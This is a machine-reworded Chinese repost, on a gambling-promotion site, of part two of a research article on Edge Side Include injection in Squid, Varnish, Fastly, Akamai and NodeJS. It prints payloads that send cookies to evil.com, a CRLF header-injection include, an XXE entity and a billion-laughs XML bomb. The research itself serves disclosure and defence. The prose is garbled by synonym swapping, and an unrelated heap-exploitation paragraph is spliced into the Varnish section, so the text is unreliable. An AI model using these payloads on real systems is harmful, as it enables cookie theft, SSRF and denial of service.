浅析Edge Side Include注入(下) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

浅析Edge Side Include注入(下)

申博_安全防护 申博 108次浏览 未收录 0个评论

让我们接着上局部,继承研讨ESI注入。

运用场景

正如我在前面提到的那样,ESI的现实运用取决于运用供应商。分歧的运用会运用分歧的功用,以至某些雷同的功用的完成体式格局也存在差别。为了资助人人辨认进击启用ESI功用的运用,我们对一些产物举行测试后制作了以下表格:

浅析Edge Side Include注入(下)

表中列名寄义:

Includes:ESI引擎是不是支撑<esi:includes>操纵。

Vars:ESI引擎是不是支撑<esi:vars>操纵。

Cookie:ESI引擎是不是能够接见Cookie。

Upstream Headers Required:上层效劳器是不是须要供应有用的Header。当标头为上游效劳器时,才会实行ESI语句。

Host Whitelist:ESI Includes中援用的主机名是不是属于白名单效劳器列表。若是开启了白名单战略,进击者应用ESI Include只能进击白名单内的主机。

下面我将细致引见ESI的运用场景以及分歧运用间的差别。

Squid3

Squid(一款高机能署理缓存效劳器)没有公然其ESI文档,因而我们必需深切源代码剖析ESI的运用情况。测试ESI Payload时,我们在最新的Squid上发明了与ESI语句剖析有关的两个拒绝效劳破绽。这两个Bug都是NULL指针消除援用形成的,可致使Squid效劳器瓦解。两个破绽分别被分派为:CVE-2018-1000024 和 CVE-2018-1000027 。下面是两个Bug的破绽征询,个中细致给出了受影响的Squid版本:

表露时间线:

  • 2017年12月13日上报
  • 2017年12月14日确认Bug
  • 2018年1月18日修复终了
  • 2018年1月21日宣布破绽征询

这里有用于偷取Cookie的有用载荷:

<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>.

某些启用ESI的运用许可进击者提掏出指定称号的Cookie值;但Squid不支撑,你必需一次性提掏出一切Cookie。

Varnish Cache

Varnish Cache在ESI的平安方面做得异常好。从Varnish Cache的ESI申明文档中能够看出它只能实行来自上游效劳器且相符VCL(Varnish Configuration Language)范例的ESI语句。因而进击者不克不及经由过程SSRF来进击恣意主机。任何SSRF进击都邑被重定向回上游效劳器,这处置惩罚了一样平常SSRF进击形成的大局部题目。住手至本文宣布,Varnish Cache依然不支撑ESI vars。ESI vars和cookie的文档诠释仍处于撰写阶段。

Varnish处置惩罚ESI时有个异常风趣的特征,只要HTTP相应Body局部的第一个非零字符为<,才会发作剖析。该搜检能够制止ESI引擎处置惩罚类似XML内容的相应。若是没有这个搜检机制,那引擎为了剖析ESI标签将不得不处置惩罚每一个请求,以至包罗类似图片如许的二进制数据。若是须要在JSON或CSS中运用ESI include,开辟者也能够封闭该机能机制。但发起论坛和指南网站封闭该机制,以包管JSON blobs能够一般事情。当开启ESI_DISABLE_XML_CHECK时,一切ESI标签都邑遭到搜检。进击者能够将ESI标签嵌入到其他良性事宜中,比方JSON API或图象相应,然后署理效劳器剖析这些二进制中的ESI标签。下面演示了怎样应用嵌入ESI有用载荷的”图象”举行进击:

浅析Edge Side Include注入(下)

当封闭ESI_DISABLE_XML_CHECK时,用户能够应用文件上传功用(比方主页图象功用),上传嵌入ESI标签的文件。这也会致使ESI注入。

在测试Varnish Cahe的ESI运用时,我们还发明ESI include不会转义src属性中的回车符和换行符(CRLF注入)。进击者能够在ESI include中注入一些标头,致使情势各别的HTTP Response Splitting(HRS)破绽。比方,进击者经由过程下面这个ESI payload,注入分外两个HTTP标头(X-Forwarded=ForJunkHeader)来形成SSRF:

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

发送照顾payload请求,获得以下相应:

深入分析IO_FILE、Unsortbin attack与Largebin attack的结合利用

前言: 最近在学习的过程中,遇到一个很有趣的东西,就是IO_FILE和Largebin Unsortbin attack的结合利用,这个技巧能延伸出来很多种利用方式。 正文: 就拿最近的*CTF上的heap_master来举例。 因为本文主讲利用技巧,所以具体程序分析这里就略过了。程序在mmap区域上对堆进行增删改,所以要想构造利用,就得在mmap区域上构造chunk。以下均在libc-2.23环境下进行。 漏洞点: 有一个类似于UAF的漏洞点。 利用初探: 程序没有show函数,那么便很容易想到用修改stdout的方式来泄漏,那么该怎么去修改呢,从UAF角度分析,可以利用UAF来达到Unsortbin attack和Largebin attack。 利用思考: Unsortbin attack只能任意地址写一个libc地址的值,该如何把这一次任意写利用最大化呢,那么就是修改global_max_fast。这样我们就可以得到glibc上的任意地址写堆地址,因为很大的chunk都变成了fastbin,因此越界了规定内的fastbin_index,导致可以在任意写堆地址。 用图来表示就是: 所以可以任意写堆地址。 我们可以覆盖stdout,使得stdout指向我们的mmap空间,并且我们事先在mmap空间构造好_IO_2_1_stdout,导致在打印出程序菜单之前先泄漏了地址。结果为这样: 如图0x57e5c100开始就是我们

GET / HTTP/1.1
User-Agent: curl/7.57.0
Accept: */*
Host: anything.com
X-Forwarded-For: 127.0.0.1
JunkHeader: JunkValue
X-Forwarded-For: 209.44.103.130
X-Varnish: 120

表露时间线:

  • 2018年1月25日上报
  • 2018年1月26日确认存在破绽
  • 2018年2月13日修复

Fastly

Fastly效劳器后端与Varnish高度类似,以是上面一节的内容也适用于Fastly。但有些分歧,Fastly ESI无需制订署理效劳器的标头就能够剖析ESI include,别的Fastly好像不受CRLF注入影响。

Akamai ESI Test Server(ETS)

Akamai在范例ESI原则方面扮演着异常重要的脚色(等于作者又是编纂者)。从Akamai大批运用ESI功用以及长且细致的ESI申明文档也能够窥知一二。我们想要测试Akamai ESI的现实运用情况,2017年我们联络了Akamai平安团队向它们提到我们正在研讨ESI注入。由于Akamai需付费运用,我们讯问是不是能够猎取消费情况下的测试效劳器(production-grade test image),以便我们举行种种ESI相干的测试,但被规矩回绝了。我们没有实在情况下的ESI实例用来研讨,以是我们联络贩卖团队想要猎取预售试用产物,但贩卖团队没有复兴我们。

终究我们决议对其公然的Docker image举行测试。这个Docker image包罗一个带有一个可自定义模块mod_esi.so的Apache Web效劳器。该模块巨细20mb,为ELF 32位可编译版的ESI运用。Akamai公然的申明文档异常细致地形貌了ESI的运用情况,以是我们不消逆向剖析这个模块包。这是一个测试image,因而我们发明的器械不克不及代表实在生存情况下的Akamai实例也存在。总结一下,我们发明了Akamai server 默许不开启ESI,并且有浩瀚珍爱步伐,比方防备SSRF(白名单战略等)和几个可选的WAF。

话虽如此,但我们发明Akamai ETS(ESI Test Server) 仍易受上述几种进击(SSRF,绕过HTTPonly以及绕过XSSFilter)。

比方,经由过程ESI includes偷取Cookie值,能够运用HTTP_COOKIE援用特定cookie称号:

<esi:include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/>

Akamai ETS包罗大批风趣的功用,比方ESI debug模块。该模块可经由过程<esi:debug/>开启,开启后HTTP相应会涌现大批调试信息,比方原始文件和情况变量。

用户还能够指定dca="xslt",增加基于ESI include的可扩大样式表言语转换(Extensible Stylesheet Language Transformations,XSLT)。下面这个include语句能够使署理效劳器请求XML或XSLT文件。然后XSLT文件可用于过滤XML文件。末了经由过程XML文件形成XML外部实体(XXE)进击。这个bug有点鸡肋,只能用于XXE->SSRF,由于是经ESI include实行,而它正本就能够致使SSRF。Akamai ETS底层库(Xalan)不支撑剖析外部DTD,进击者也不克不及提取检察当地文件。

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

但我们能够运用XML实体,这意味着能够实验十几年前的亿万讪笑进击。它的进击道理是经由过程递归援用实体,致使内存耗尽效劳挂起。我在当地盘算测试Akamai ETS Docker image时,32G内存在几秒后完整耗尽效劳住手。我运用的是下面这个XSLT文件:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

NodeJS’ ESI

很多NodeJS模块在开辟时就考虑到ESI,都支撑ESI标签。它们重要用于中间件,伪署理功用或内联在源代码中。NodeJS’ ESI的ESI运用库也异常普遍,支撑include,变量和cookie等。

经由过程下面这条ESI include敕令,运用HTTP_COOKIE变量能够提掏出一切cookie:

<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>

NodeJS’ nodesi

NodeJS的这个模块许可ESI include,但不许可运用ESI变量。我们在测试NodeJS’ nodesi ESI运用平安时,发明开辟者增加了白名单机制。别的,他们在ESI模块申明文档中还特地增加了平安方面的章节。

怎样检测 ESI

浅析Edge Side Include注入(下)

一些署理效劳器为了轻易处置惩罚ESI,通常会请求请求中设置Surrogate-ControlHTTP 标头。该标头会提示上游效劳器:”ESI标签能够存在相应中,请做好剖析预备”。若是你发明了HTTP相应中有类似Surrogate-Control: content="ESI/1.0”的标头,那你的目的极有多是启用了ESI的运用。

但是,大局部署理和平衡负载效劳器会移除该标头。某些署理效劳器以至没有该标头。因而经由过程标头推断目的是不是运用ESI运用不是很牢靠,由于ESI运用的浩瀚特征,不克不及一次性就测试出目的是不是存在ESI注入。进击者须要测试种种有用载荷视察相应,以辨认存在ESI注入的端点。比方,组织ESI include语句能够形成SSRF进击,接见进击者的效劳器,但目的运用能够有白名单战略。

防备性步伐

发生ESI注入的基础原因是开辟者无视了清算用户输入。署理效劳器自觉剖析用户输入时,有能够会形成ESI注入。不管你正在运用的是什么框架或言语,发起你参考防备XSS的方法来珍爱你的ESI运用。原始ESI范例中没有考虑到平安题目,因而清算用户输入的重任就落到开辟人员身上了。

前面已提到过了,主机和域名的白名单战略也能够减缓ESI注入的影响。别的一点,供应商应该明确指出启用ESI的风险,并关照用户能够存在未知的ESI注入。

小结

本系列文章论述了一种新型进击向量——ESI注入,该进击的泉源是种种署理效劳器中ESI功用的滥用。我们展现了易受进击情况和三个有用载荷:盗取Cookie,SSRF和绕过XSS Filter。接下来我们引见了一些运用ESI的运用,使平安社区对ESI天下的蹩脚有开端相识。

我们愿望这项研讨能够为研讨其他缓存署理的人带来一些灵感,为赏金猎人们开辟一个新的进击维度。

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明浅析Edge Side Include注入(下)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址